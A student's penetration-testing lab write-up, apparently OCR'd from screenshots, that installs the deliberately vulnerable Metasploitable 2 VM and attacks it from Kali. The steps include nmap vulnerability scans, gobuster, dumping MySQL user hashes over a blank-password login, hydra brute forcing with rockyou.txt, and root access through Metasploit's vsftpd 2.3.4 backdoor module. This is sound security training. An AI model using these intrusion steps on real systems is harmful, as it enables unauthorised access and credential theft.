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Installing Metasploitable 2 in VBOX

TL;DR
Metasploitable 2 is an intentionally vulnerable virtual machine so people can use it for

security training and practice penetration testing techniques. It is based on the Linux OS and
is distributed by Rapid7.

Overview / Goal

In this document, I will be noting my journey of installing Metasploitable 2 so I can practice
my penetration testing skills in future labs.

Tools & Environment
e VPN / Lab: VBox

e Tools used (brief): Kali Linux Virtual Machine (Needed to attack the vuln
machine itself.)

Download



{/ Metasploitable

Metasploitable

Metasploitable is an intentionally vulnerable

Brought to you by:

1. 0. 2.0.8

Download

Visited Sourceforge for link.

Open with WinRAR

Extract files...

Extract to "metasploitable-linux-2.0.00"

Extract Here

Here, I am extracting the given file via WinRar. (I chose to do Extract Here)

¥ Metasploitable.vmdk 5 01 PM Virtual Machine Di...

B Metasploitable.vmzx 5 ) PM VM File

B Metasploitable.nvram

B Metasploitable.vmsd

B Metasploitable.vrmf

Content of files after extraction is complete

Setup via VBOX
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24 Windows 10 Clone

I Click on New to

= Create Virtual Machine
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Settings

General

024.4-virtualbox-amdbd
-bit)

kali-linux
Debian (6

MNarme:
Operating Systern:

System

setup the Virtual Machine

Virtual machine Name and Operating System

ual machine. The name
u can select an [50 image

Please ch a descriptive name and destination folder for the n
be used throughout Yirtua to identify this machine. Addition
used to install the guest operat .

Mame: METASPLOITABLE 2

Folder .y

byan\Virtualb

150 Image:  <not selected>

Type:  Linux

Subtype:  Other Linux

Ve

Version:  Other Linux (64-bit)

i J

50 image is selected, the guest 05 will need to be installed manually.

This is my setup for the vuln machine so far, I made sure to put Other Linux for sub type.



2 Create Virtual Machine

Hardware

You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count.

Enabling EFI is also possible.

Base Mer

Processors:

1CPU 16 CPUs

Enable EFl (special O5es only)

Virtual Hard disk

If you can add a virtual hard disk to the new machine. You can either create a new hard
disk file or select an existing one. Alternatively you can create a virtual machine without a virtual
hard disk.

Create a Virtual Hard Disk Mow

® Use an Existing Virtual Hard Disk File

kali-linux-2024.4-virtualbox-amded.vdi (Mormal, 80.09 GEB) - B’

Do Mot Add a Virtual Hard Disk Chooses a Virtual Hard Fisk File...




When I was here, I clicked on the file to the right near an existing virtual hard disk file..

Medium Selector

5 O

Add Refresh

Click on add

B > Downloads > metasploitable-linux-2.0.0 > MetasploitableZ-Linux

lder
MName Date modified Type
< A long time ago

¥ Metasploitableymdk 5/20/2012 3:01 PM Virtual Machine Di...

Navigate to the file that you extracted, which is metasploitable 2 and double click on it.



The following table surmmarizes the configuration you have chosen for the new virtual machine.
When you are happy with the configuration press Finish to create the virtual machine. Alternatively
you can go back and modify the configuration.

2 Machine Name and 05 Type

Machine Mame METASPLOITAELE 2

Machine Folder C:/Users/abyan/VirtualBox ViMs/METASPLOITAELE 2
I50 Image

Guest O5 Type Other Linux (64-bit)

Hardware

Base Memory

Processor(s)

EFl Enable

Disk
Attached Disk Ch\Users\abyan\VirtualBox VMs\METASPLOITABLE 2\METASPLOITABLE 2.vdi

Quick Summary

Connection: Kali linux —> Metasploitable 2 (Getting them on the
same network!)

File Machine Resources

F Preferences... r
: ]
s -

A Import Appliance... Ctrl+|
i _ Columns,

M Export Appliance... Ctrl+E

:  Tools b ﬁ Extension Pack Manager Chrl+T

) Check for Updates... 'E'_,I Virtual Media Manager Ctrl+D

jl Reset All Wa rningg_ ﬁ Metwork I"-.|'1ana|_;|er Ctrl+H

@ Quit Ctrl+0) & Cloud Profile Manager Ctrl+P

M VM Activity Overview

Navigate over here ( For some reason, I didn't have network manager at first, I had

to change this in the settings by going into preferences and going into advance
mode.)



Created a nat network via network manager. Changed IPv4 prefix as well as the
name.

Network
Adapter 1 Adapter 2 Adapter 3 Adapter 4
v Enable Metwork Adapter

Attached to: | MAT Metwork

Mame: abyhackinglab

I then assigned both of the virtual machines there nat networks with the
corresponding name, one for Kali Linux, and of course the metasploitbale 2. (Note, I
went into settings for this and went to the network options.)



Launching

e Machine View Input Devices Help

* Starting deferred execution scheduler atd
= 3tarting periodic command scheduler crond
= 3tarting Tomcat serwvlet engine tomcat5.5
= 3tarting web server apache2
* Runmning local boot scripts (retcrsrc.local)

nohup: appending output to “wnohup.out’

nohup: appending output to “nohup.out’

Warning: Never expose this UM to an untrusted network?
Contact: msfdevlatlImetasploit.com

Login with msfadminsmsfadmin to get started

metasploitable login:

Metasploitable 2 is up and running!

ile  Machine View Input Devices Help

http:sshelp.ubuntu.com/

No mail.

msfadmin@metasploitable:™$ ipconfig

~bash: ipconfig: command not found

msfadmin@metasploitable:™5 ifconfig

ethO Link encap:Ethernet HUWaddr 08:00:27:7d:c1:52
inet addr:192.168.1.4 Bcast:192.168.1.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff:fe?d:c152,/064 Scope:Link
UP BROADCAST RUNNING MULTICAST HMTU:1500 Metric:1
RX packets:36 errors:0 dropped:0 overruns:0 frame:0Q
TX packets:68 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4580 (4.4 KB) TX bytes:7234 (7.0 KB)
Base address:0xd020 Memory:f0200000-f0220000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:106 errors:0 dropped:0 overruns:Q frame:0
TX packets:106 errors:Q dropped:® overruns:® carrier:0Q
collisions:0 txqueuelen:0

RX bytes:Z5709 (25.1 KB) TX bytes:Z5709 (25.1 KB)

nsfadmin@metasploitable: ™5 _




I signed in with the password msfadmin and msfadmin, both the user and password
are the same. Also did the command ifconfig (as u can see I accidentally did
ipconfig!)

View Help

/home/hexaphus

1'..'_.
1.
1.
1.
1.
1.
1.
1.
1.
1.
1.
1.
1.
1.
1.
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Then I launched my kali linux virtual machine and used the ping command to see if
it was an active connection, and well, it worked! Now we have a working vuln
machine we can use in later labs!

L e

Active Recon / discovery

TL;DR

In this section, I am going to use various commands to get information (recon) on my vuln



machine, the metasploitable 2 we installed earlier.

Overview / Goal

I want to get more hands-on experience in the cli, using various commands such as nmap
and more. I also want to see the actual vulnerabilities in my machine. What exactly makes it
vulnerable?

Tools & Environment
e VPN / Lab: VBox

e Tools used (brief): Kali Linux Virtual Machine (Needed to attack the vuln
machine itself.)

Discovery

To access official Ubuntu documentation, please visit:

http:- help.ubuntu.con~

No mail.

nsfadnin@netasploitable:™5 ifconfig

ethO Link encap:Ethernet HUWaddr 08:00:27:7d:cl:52
inet addr:192.168.1.4 Bcast:192.168.1.255 Hask:255.255.255.0
inetb addr: feB0::a00:27ff:fe?d:c152-64 Scope:Link
UP BROADCAST RUNNING MULTICAST HMTU:1500 Metric:1
RX packet=z:34 errors:0 dropped:0 overruns:0 frame:0
TX packets:67 errors:0 dropped:0 overruns:0 carrier:
collisions:0 txgueuelen:1000
RX bytes:4452 (4.3 KB) TX bytes:6948 (6.7 KB)
Base address:0xd0Z0 Memory:f0Z00000-f02Z0000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 HMetric:1

RX packet=:91 errors:0 dropped:0 overruns:0 frame:0
TX packets:91 errors:0 dropped:0 overruns:0 carrier:
collisions:0 txgueuelen:0

RX bytes:19301 (18.8 KB) TX bytes:19301 (18.8 KB)

nsfadmin@metasploitable:™5

e [l used ifconfig to give me the ipv4 address (the inet addr one



/

e Idid nmap -sn on the iP address on my kali linux machine to scan the live

hosts on the network. As you can see oracle virtualbox is there! Which is pretty
neat.

/home/hexaphus

e Idid an ARP-based discovery using the following command sudo
arp-scan -interface=eth0 192.168.1.4 Of course, some of the
permissions were denied but it did return 08:00...etc, indicating that is
my ms2 (metasploitable 2 vm)



e Quickly did a ping on the IP, I did this because I was away from
my computer for a bit and wanted to make sure it is still live, did
-c 5soit canitonly ping 5 times.

/home/hexaphus
1.4 -

virtual NIC)

e Over hereIdid a quick nmap scan, -F for the small list of common ports, its
just faster and probably less noisy, and then of course I saved the output to a
text file, named nmap_fast.txt. This is a useful command just to quickly see



the open services that are open.. In the next picture I am going to attempt a
sS command.

virtual NIC)

All right over here I did an -sS scan, which is pretty much half of a handshake,
sending an RST so I can avoid the complete TCP handshake, thus making me
more sneaky ;)

I did T4, which is just faster timing. The -Pn was used so i can be on no host
discovery. -p- was used so I can scan all of the possible ports, which ranges
from 1 - 65k. It's pretty similar to the other screenshot but we got some
unknown services at the end.



31 14:@@ EDT

Over here I did the command -sV to see the versions that are running
in the ms2, which is actually really helpful, look at how much
information we got? Also, I did -p- originally but I realized that was
taking a little too long so I switched over to -F so its faster and saved it
to a text file.

Cool neat thing, you know it's metasploitable because you can see the
service info host displayed.
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e Idid-sC command for this, which gave us a lot of information of course

e Basically did a deep scan, since it is a built in script, grabbing the weak config
checks

e Figured out that the host is still up, and I know it is on a vbox of course, the
mac address exposes that.

e We also saw that 82 ports are closed!

L e

Vuln scanning and More

TL;DR
Metasploitable 2 is an intentionally vulnerable virtual machine so people can use it for

security training and practice penetration testing techniques. It is based on the Linux OS and
is distributed by Rapid7.

Overview / Goal

In this part, I will be noting some of the commands that I will be doing to ms2, primarily vuln
scanning, things that are outdated and cve’s. Of course, my machine that I am using to carry
out these attacks is my kali linux vm, which is hosted by Vbox.

e Idid the command nmap -script vuln -sV -O -T4 at the target iP address.
e Of course, this took a while, I was waiting about 3 minutes and as you can see
I kept pressing enter to see how much longer it would take haha.



It provided a long list of vulns and CVE’s, which is the main goal for this
command

I did -T4 to make it faster and this is more aggressive too. Doesn't really
matter here, I'm pen testing my own machine.

Over here, we can see that we have detected one of the most famous vulns in
ms2.

As you can see, it says that the current state is exploitable for vsftpd, and is
running the version of 2.3.4 The state is of course open

CVE was published in the year of 2011/

Well, why is it so exploitable and malicious? Well, it says here. It's because it
contains a built-in backdoor that gets placed by a malicious dev. The score
that it has is a 10.0, which is the MAXIMUM severity. Pretty neat!

This is one of the most important lines in this report.

Basically, the nmap script essentially used the backdoor to run the command
id on the target and the output gives us root.

And, of course, we know what root means! Full system control Big no no!



pider
sqlspider

e This oneis pretty neat. It showcases all of the possible SQLi (SQL
injections) for the following queries.

—(root& i)-[/home/kali]
{ir 1ittp: 2.168.1.4 /usr/share/wordlists/dirb/common.txt

)TheColonial) & Christian Mehlmauer

192.168

»/wordlists/dirb/common. txt

e For this part, I used gobuster, which essentially brute forces the



web paths by taking a wordlist, and the wordlist I used was
common.txt, and it is trying teach word for a directory.

e Thisis important because we can find hidden pages, such as dev
or even admin. With this we can even find sensitive files like
login info or misconfigured directories that can be exploitable

e Here, I was able to find phpmyadmin, which is very outdated.

[:—(root@3kall)—[/home/kali}
# ( 192.168.1.4 root

Enter password:

elcome to the MariaDB monitor. Commands end with ; or \g.
our MysQL connection id is 450

Server version: 5.0.5l1a-3ubuntu5 (Ubuntu)

opyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
ype 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> SELECT host, user, password FROM mysql.user;
f— HARE SRR S A

host | user password

sys-maint

+
|
+
|
|
|
+

3 rows in set (0.000 sec)

MysQL [(none)]> |}

Over here I did a leak to extract passwords

I logged in with the target iP via mysq|l

Funny thing is, since the password is blank, all I had to do was press enter.
Then Idid SQL command by selecting the Hosts, user, passwords from the
mysql.user

I T 2 2 L RIS RN

Password-Cracking, Accessing Ms2 via Telnet, and
more.

TL;DR

Metasploitable 2 is an intentionally vulnerable virtual machine so people can use it for
security training and practice penetration testing techniques. It is based on the Linux OS and
is distributed by Rapid?7.

Overview / Goal



In this section, I will be hacking myself into my ms2 vuln machine by using hydra. Once I get
credentials, I can then use those credentials to do a remote connection to the machine via
telnet, thus accessing the vuln machine.

ile Actions Edit View Help

su

sudo] password for kali:

orry, try again.

sudo] password for kali:
(root% kali)-[/home/kali]

¢ 1l

e FirstI put myself into root so things are just easier!

PING 192.168.1. .168.1.4) 56(84) bytes of data.
' 5 from 192.168.1.4: 1cmp_sec ttl=64 time=0
from 192.168.1.4: 1cmp_seg ttl=64 time=0.
o)} from 192.168.1.4: 1cmp 3 ttl=64 time=0.2
bytes from 192.168.1.4: icmp ttl=64 ti
bytes from 192.168.1.4: icmp_seq ttl=64

— 192.168.1.4 ping statistics
5 pac To 5 recelv packet loss, time 4@072ms
rtt min/avg/ma: eV 0.179/0.226/0.346/0.060 ms

[j—(rootﬁﬁkali)—[/home/kali]
it




e Over here, I just make sure that my ms2 is active and running and I do this
with the ping command. I make sure to do -c 5, so it just does it 5 times, I just

want to see if it's alive.

t® kali)-[/home/kali
/usr/share/wordlists/rockyou.txt ftp:
[: 3 av Macleja Please

1
i
il
1

[child 3] (c
99 [child 1] (




S \9/
99 [child 1] (o/0)
9 [child (0/0)
min" : : of ! 99 [child 3] (0/0)
"msfadmin" 50 9 [child o] (0/0)
"msfadmin" "rachel" 51 ¢ 44399 [child 1] (0/0)
"tequiero” 2 ¢ 399 [child 2] (0/0)
TR C 4 9 [child (0/0)
54 ¢ 44399 [child 0] ro,m
"msfadmin" ss ”159 53" - 155 ¢ 44399 [child 1] (0/0)
"msfadmin” "arsenal” 6 of 14344399 [child 2] (0/0)
"msfadmin” "dolphin" 57 ¢ 9 [child 3] (0/0)
"msfadmin” ass "antonio" 58 of 14344399 [child 0] (0/0)
"msfadmin" at 59 of 14344399 [child 2] (@/0)
i ] 160 of 14: 9 [child 1] (o/@)
161 of 1 44.,99 [child 3] (0/0)
=162 of 14444‘99 [child 0] (0/0)
'-99 [child 2] (e/0)
399 [child 1] (0/0)
"msfadmin" > \ 9 [child 3] (@/0)
"msfadmin" 2 66 of I 399 [child @] (e/0)
admin” c 16 g chi 2] (o/0)
”907(54" 168 of 14344399 [child 1] (0/0)
\’lLTOllx - 169 of 14344399 [child (0/0)
170 of 14: 9 [child o] (0/0)
"00000" - 171 of 143 [child 2] (0/0@)
"fernando" 2 of 3 g 1] (0/0)
pok«~m0n 380 9 [child 0] (©/0)
[child 2] (0/0)
31 (0/0)
9 [child 1] (0/0)
99 [child @] (0/0)
4399 [child 2] (0/0)
) 9 [child 3] (0/0)
"msfadmin" as isses 180 of 99 [child 1] (0/0)
admin" "me ! of 44399 [child o] (0/0)
"myspace"” - 182 of 14344399 [child 2] (0/0)
"msfadmin" ass "rebelde" - 183 of 14344399 [child 3] (0/0)

ATTEFPT]
[ATTEMPT]
ATTEMPT]
[ ATTEMP
[ATTEM
ATTEM
[ ATTEMPT
[ ATTEMPT
ATTEMPT
[ ATTEMPT
ATTEMPT

1

1

1

1

1

1

1

~

PT
PT

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.1

T]
]
]
]
]
]
]
]
ATTEMPT]
[ATTEMPT]
ATTEMPT]
[ATTEMPT]
[ATTEMPT]
ATTEMPT]
[ATTEMPT]
ATTEMPT]
ATTEMPT]
[ATTEMPT]
ATTEMPT]
ATTEMPT]
[ATTEMPT]
ATTEMPT]
[ATTEMPT]
[ATTEMPT]
ATTEMPT]
[ATTEMPT]
ATTEMPT]
ATTEMPT]
[ATTEMPT]
ATTEMPT]
[ATTEMPT]
[ATTEMPT]
ATTEMPT]
[ATTEMPT]
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e For this command, I did hydra on the text file rockyou.txt, which is a list of
commonly used passwords. For the purposes of the assignment since I
already know the password to my vuln machine, I won't let this whole thing
run, as it'll take a long time, but you get the point. I am using hydra to retrieve
the password and access telnet using that. There are about 14 million
passwords stored in rockyou.txt, which is absurd!

e Before, I did not use the -t 4 command and it was super slow, but after adding
this command my results doubled the speed. WhyS? More threads mean
faster speeds. Also I did -| msfadmin because that is the specific user I would
like to brute force.



[sudo]
Sorry,
[sudo]
Sorry,
[sudo]

23 192.168.1.4
for kali:

gain.

ord for kali:

in

Nmap scan report for 192.168.1.
Host is up (@.00019s latency).

PORT

STATE SERVICE

23/tcp ope telnet
MAC Address: 08:00:27:7D:C1:52 (Oracle VirtualBox virtual NIC)

Nmap

jone: 1 IP address (1 host up) scanned in 0.23 seconds

Before we access the machine via telnet.. Let’s first see if Telnet is even
running or not on the vuln machine.
I did nmap for this of course and specified -p 23 only as that is the port

for telnet
As you can see, it is open! Let us now connect.



(root® kali)-[/home/kali]
# te t 192.168.1.4
rying 192.168.1.4...
onnected to 192.168.1.4.
scape character is '"]'

]

arning: Never expose this VM to an untrusted network!
ontact: msfdev[at]metasploit.com

ogin with msfadmin/msfadmin to get started

letasploitable login: |

e Now I am going to use the telnet command, unsecure Remote, on ms2. Since I
know the IP address of the machine as well as the login info (Would've
obtained pw by hydra if I didn’t know it) I can now access the machine.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
‘ i “om/

msfadmingmetasploitable:~$ JJ

e After putting the necessary credentials, you can see that I now have access to
the machine! How neat is that?



To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmingmetasploitable:~$% whoami
msfadmin
msfadmingmetasploitable:~$%
msfadmingmetasploitable:~$%
‘ sploitable:~$ pwd
admin
metasploitable:~$ 1s

@metasploitable:~$ |

e Over here I was just testing some commands to illustrate that I really do have
access to this machine

e Printed the working directory

e Listed



yle:~ L /etc/passwd
;ut:xfinﬁhash
)r/ shin:/bin/s

2535 7 7s lp /var
m31l ]

alllng List :
:39:ircd:/var/run/ircd:

ts:/bin/sh

Istadmingmetasplo1te e:~$ echc CIREY ee acke y Aby (For edu purposes ofc)” > /tmp/abywazhere.txt
asfad\munwrmplul‘ml)h ~$ cat /tmp/abywaz

‘ou have been hacked by Aby (For edu purposes ofc)

1sfadminametasploitable:~$ [




Password:
Last login: Fri Hov 14 10:01:Z3 EST 2025 on ttyl
Linux metasploitable 2.6.24-16-server #1 SMP Thu fApr 10 13:58:00 UTC 2008 i6d6

The programs included with the Ubuntu system are free softuare:
the exact distribution terms for each program are described in the
individual files in rusrrshare-sdocs=-scopyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http:-s-help.ubuntu.com~

No mail.

msfadmin@metaspluitable:"$ echo hello

hello

nsfadmin@metasploitable:™5 whoani

nsfadmin

nsfadmin@metasploitable:™5 pud

shonesnsfadmin

msfadmin@metasploitable:™5 ls

vulnerable

nsfadmin@netasploitable:™$ cat ~stmprabyuwazhere.txt

You have been hacked by Aby (For edu purposes ofc)
nsfadmin@metasploitable:™5

e This illustrates that I successfully hacked into my ms2 vulnerable
machine! Created a simple txt file.

e a2 S A 1 st o o S S T SR B

Extras, Exploits, Backdoor. (mostly misc)



~

letasploit tip: Open an interactive Ruby terminal with irb

iliary - 431 post
s - 11 nops

0 auxiliary/dos/ftp/NSiEpd_232

rvice
1 exploit/unix/ftp/liSEepd 2

mmand Execution

nteract with a module by name or index. For

it(uni

e Searched for the backdoor, vsftpd.
e After doing so, I issued the command for the matching

module, which is the unix ftp one as it is done in the
screenshot




e Idid Rhosts on the target IP, which is my ms2, and this gives me access to

root.

e How did I know I could do this? Well. Earlier in the NMAP report, we were
warned about that we could do this.
e Thisis incredibly scary as I could get root this easily from this command.

id

uid=0(root) gid=0(root)

whoami
root
1s /
bin
boot
“drom

etc

home
initrd
initrd.img

sst+found
edia

nohup.out
opt
proc
root
sbin
srv

Sys

tmp

usr

var
vmlinuz

e Over here, I did some commands to illustrate that I do have access as well as

root!



o~

192.168.1.4
onnected to 192.168.1.4.
20 (vsFTPd 2.3.4)
ame (192.168.1.4:kali): anonymous
31 Please specify the password.

assword:

30 Login successful.

emote system type 1s UNIX.

sing binary mode to transfer files.

tp> |

e Over here, I have accessed the target machine with FTP. Used the password
Anon as well as user Anon (Not quite secure, but hey! It is a vuln machine after
all.)

T e e e i o S S S T A

Transitioning away from MS2 VULN
MACHINE:



